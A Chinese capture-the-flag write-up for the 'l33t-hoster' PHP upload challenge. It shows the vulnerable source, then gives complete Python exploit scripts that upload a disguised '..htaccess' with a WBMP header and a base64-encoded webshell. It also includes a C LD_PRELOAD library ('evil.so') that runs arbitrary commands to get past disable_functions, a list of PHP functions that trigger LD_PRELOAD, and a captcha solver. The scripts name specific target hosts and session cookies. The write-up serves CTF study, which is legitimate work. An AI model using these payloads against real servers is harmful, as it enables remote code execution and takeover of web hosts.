源码

<?php
if (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if (!isset($_SESSION["home"])) {$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {mkdir($userdir);
}$disallowed_ext = array("php","php3","php4","php5","php7","pht","phtm","phtml","phar","phps",
);if (isset($_POST["upload"])) {if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {die("yuuuge fail");}$tmp_name = $_FILES["image"]["tmp_name"];$name = $_FILES["image"]["name"];$parts = explode(".", $name);$ext = array_pop($parts);if (empty($parts[0])) {array_shift($parts);}if (count($parts) === 0) {die("lol filename is empty");}if (in_array($ext, $disallowed_ext, TRUE)) {die("lol nice try, but im not stupid dude...");}$image = file_get_contents($tmp_name);if (mb_strpos($image, "<?") !== FALSE) {die("why would you need php in a pic.....");}if (!exif_imagetype($tmp_name)) {die("not an image.");}$image_size = getimagesize($tmp_name);if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {die("lol noob, your pic is not l33t enough");}$name = implode(".", $parts);move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";?><h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data"><input type="file" name="image"><input type="submit" name=upload>
</form>
<!-- /?source -->

题解-上传shell

这道题目是允许我们上传文件,但是所有php文件的后缀都被过滤了,

  • 如果文件名是通过get或post获取的,可采用php\n的方式绕过
  • 如果存在.htaccess可以通过上传.htaccess达到其他后缀的效果
  • 如果获取文件后缀的方式有问题,可以通过php/. 方式绕过,但是此种发放也行不通,wushell.php/. 的时候$name = $_FILES["image"]["name"] 只能为.,后来又测试了一下通过$_FILES获取的文件名不能包含/ ,他会取最后一个/后面的内容。

这儿我们直接上传.htaccess,但是很.htaccess的文件名比较特殊,这儿需要绕过
根据源码我们发现这句话

array_shift($parts);

array_shift是删除数组的第一个元素并返回新的数组代替原来的数组,所以我们只需要让上传的文件名为..htaccess就可以轻松绕过了~~

文件内容不能包含<?,我们查看了一下php版本,是php7,所以无法用<script lanague='php'>绕过,我们只好看能不能利用编码绕过了
.htaccess还真的支持这个

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

剩下最后一个内容就是绕过exif_imagetype的检查,这儿是检查文件头的,根据网上的文章,wbmp的格式也支持这个函数,而且这个文件的magic number的开头是\x00,而经过fuzz,我们也发现.htaccess也能当作注释符号~~

最后的脚本为(参考师傅的)

#!/usr/bin/env python3import requests
import base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"COOKIES = {"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?phpvar_dump("works");
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
print(response.text)

绕过disable_function

看了一下phpinfo,没办法使用系统函数,但是没有过滤putenv函数

第一步,编译eval.c生成evil.so

gcc -Wall -fPIC -shared -o evil.so evil.c -ldl

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload(char *cmd) {char buf[512];strcpy(buf, cmd);strcat(buf, " > /tmp/_0utput.txt");system(buf);}int getuid() {char *cmd;if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");if ((cmd = getenv("_evilcmd")) != NULL) {payload(cmd);}return 1;
}

第二步 上传`evil.so`

#!/usr/bin/env python3import requestsimport base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"COOKIES = {"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=uname -a");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)files = { "evil" : open("../payloads/evil.so", "rb") }
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)

能触发LD的函数

  • mb_send_mail
  • exec
  • system
  • passthru
  • shell_exec
  • error_log
  • mail(‘a’,‘a’,‘a’)
  • gnupg_init()
  • imap_mail
  • pcntl_exec
  • new gnupg()

    第三步 解验证码

编译 gcc -o captcha_solver captcha_solver.c

#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
int main() {pid_t pid = 0;int inpipefd[2];int outpipefd[2];pipe(inpipefd);pipe(outpipefd);pid = fork();if (pid == 0) {dup2(outpipefd[0], STDIN_FILENO);dup2(inpipefd[1], STDOUT_FILENO);dup2(inpipefd[1], STDERR_FILENO);prctl(PR_SET_PDEATHSIG, SIGTERM);execl("/get_flag", "get_flag", (char*) NULL);exit(1);}close(outpipefd[0]);close(inpipefd[1]);char data[0xff] = {0};// Read first linefor (; data[0] != '\n'; read(inpipefd[0], data, 1));// Read captcharead(inpipefd[0], data, 0xff);uint64_t sum = 0;char *pch;printf("Raw : %s\n", data);pch = strtok (data, "+");printf("Sum : %lu\n", sum);while (pch != 0)  {sum += strtoull(pch, 0, 10);printf("Operand : %lu\n", atol(pch));printf("Sum : %lu\n", sum);pch = strtok (0, "+");}char result[32] = {0};sprintf(result, "%lu\n", sum);printf("Result : %lu\n", sum);write(outpipefd[1], result, 16);memset(data, 0, 0xff);read(inpipefd[0], data, 0xff);printf("Final : %s", data);}

第四步 上传编译好的c文件,并且执行c

#!/usr/bin/env python3import requests
import base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://98593d39-9994-4cdb-9a23-b1e489771703.node3.buuoj.cn"
RANDOM_DIRECTORY = "fc7d09ba57327537aa7cd6394979b53995aaa596"COOKIES = {"PHPSESSID" : "WWW"}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/solver');   putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=chmod 777 /tmp/solver");
mail('a','a','a');putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=cd / && /tmp/solver");
mail('a','a','a');echo file_get_contents('/tmp/_0utput.txt');
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)files = { "evil" : open("evil.so", "rb"),"captcha_solver": open("captcha_solver", "rb")}
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)

参考链接

我写的可能不是很详细,贴一下师傅的链接
链接

l33t-hoster .htaccess \x00注释putenv绕过disable_function计算c代码相关推荐

  1. PHP绕过disable_function限制(一)

    测试环境 php 5.4.5 0x01 利用系统组件绕过 1.window com组件(php 5.4)(高版本扩展要自己添加) (COM组件它最早的设计意图是,跨语言实现程序组件的复用.) 测试: ...

  2. 基于文档注释接口文档生成工具(代码0侵入附源码)

    本文主要分享一个基于个人兴趣,旨在提高工作效率,开发了一个基于文档注释,接口文档生成工具,欢迎大佬指点. 源码以及使用demo地址 :传送门 1.前置介绍 1.1前世 现在大多数项目都走向了前后端分离 ...

  3. java注释搞笑图案_搞笑的代码注释,那些有趣的程序员

    发表于 2019-04-24 16:11:26 by 月小升 搞笑 /*** * .::::. * .::::::::. * ::::::::::: F*CK YOU * ..:::::::::::' ...

  4. Visual Studio 2022版本 B站黑马程序员C++自学分享-第一阶段(主要包括:自己敲的代码、通过注释来备注上自己对代码的理解)

    Visual Studio 2022版本 B站黑马程序员C++自学分享-第一阶段(主要包括:自己敲的代码.通过注释来备注上自己对代码的理解) 前言 一.第一阶段 C++基础语法入门 对C++有初步了解 ...

  5. Visual Studio 2022版本 B站黑马程序员C++自学分享-第三阶段(1)(主要包括:自己敲的代码、通过注释来备注上自己对代码的理解)

    Visual Studio 2022版本 B站黑马程序员C++自学分享-第三阶段(1)(主要包括:自己敲的代码.通过注释来备注上自己对代码的理解) 前言 三.第三阶段 C++提高编程 介绍C++泛型编 ...

  6. [羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过

    目录: 一. 自己做: 二.学到的.不足: 三. 1. 利用.htaccess来设置文件自动包含 2. 绕过 \n 的过滤 3. 绕过stristr的过滤. 4. 绕过preg_match 2.思路二 ...

  7. 【Android 逆向】IDA 工具使用 ( 重命名函数 | 添加注释 | 添加标签 / 跳转标签 | 代码跳转前进 / 后退 )

    文章目录 一.重命名函数 二.添加注释 三.添加标签 / 跳转标签 四.代码跳转前进 / 后退 一.重命名函数 针对一个 匿名函数 , 在分析函数时 , 可以为匿名函数进行命名 ; 右键点击 函数名 ...

  8. vc6.0注释功能的脚本快捷键设置代码

    找到vc6.0的安装路径,vc6.0的默认安装路径是C:\Program Files (x86)\Microsoft Visual Studio\Common\MSDev98\Macros.在Macr ...

  9. php代码清除空格注解,PHP文件去掉PHP注释空格的函数分析(PHP代码压缩)

    最近我从thinkphp的'RUNTIME_ALLINONE'借鉴到经验:不怕缓存多,就怕调用乱,索性将所有常用的文件全部合并成一个文件,岂不美哉... 复制代码 代码如下: function str ...

最新文章

  1. VS 2019 查看类图 UML 图
  2. gitlab数据迁移
  3. C语言文件操作解析(二)【转载】
  4. SAP Spartacus SSR模式启用失败的一个原因:SSR rendering exceeded timeout
  5. openshift_Openshift源中的高可用性Drools无状态服务
  6. Spring MVC 中 HandlerInterceptorAdapter的使用
  7. 生产排期混乱、质量问题难定位?这套生产场景方案全解决,附模板
  8. 菜鸟学Linux 第095篇笔记 MySQL 5.6主从复制
  9. FFmpeg学习(3)——视频中音频文件提取
  10. 【转】如何理解NPV与IRR的区别??
  11. 用Nginx禁止指定IP、国外IP访问我的网站
  12. html5移动端海报制作,H5制作利器,教你分分钟制作高/大/上H5海报!
  13. selenium chromedriver 无头浏览器检测
  14. 笔记本Win11连接WiFi后显示无Internet访问权限怎么办
  15. PL/SQL Developer用户登录ORA-01045 user lacks CREATE SESSION privilege logon denied
  16. JavaWeb实用项目之----化妆品销售网
  17. 粒子滤波(particle filtering)梳理
  18. 【python】pdf转png
  19. word如何设置每一章节的页眉都不同
  20. 程序设计入门——C语言 翁恺 期末考试编程题

热门文章

  1. 数字图像处理(冈萨雷斯版)-第一章
  2. 转 activity的launch mode
  3. 人工智能守护青山绿水 内蒙古环保厅引入阿里云ET环境大脑
  4. 数梦工场:我们帮你实现你驾驭数据的梦想
  5. selenium学习指南
  6. 一步一步理解Docker
  7. ORAN专题系列-11:5G O-RAN RIC的PaaS和SaaS是封闭与开放的融合
  8. 微信授权登录mock(在没有真实微信账号的情况下测试大量微信账户授权登录的情况)...
  9. 后缀是lnk是什么文件_ink是什么文件
  10. 著名的斐波那契额数列,1 1 2 3 5 8输出第n项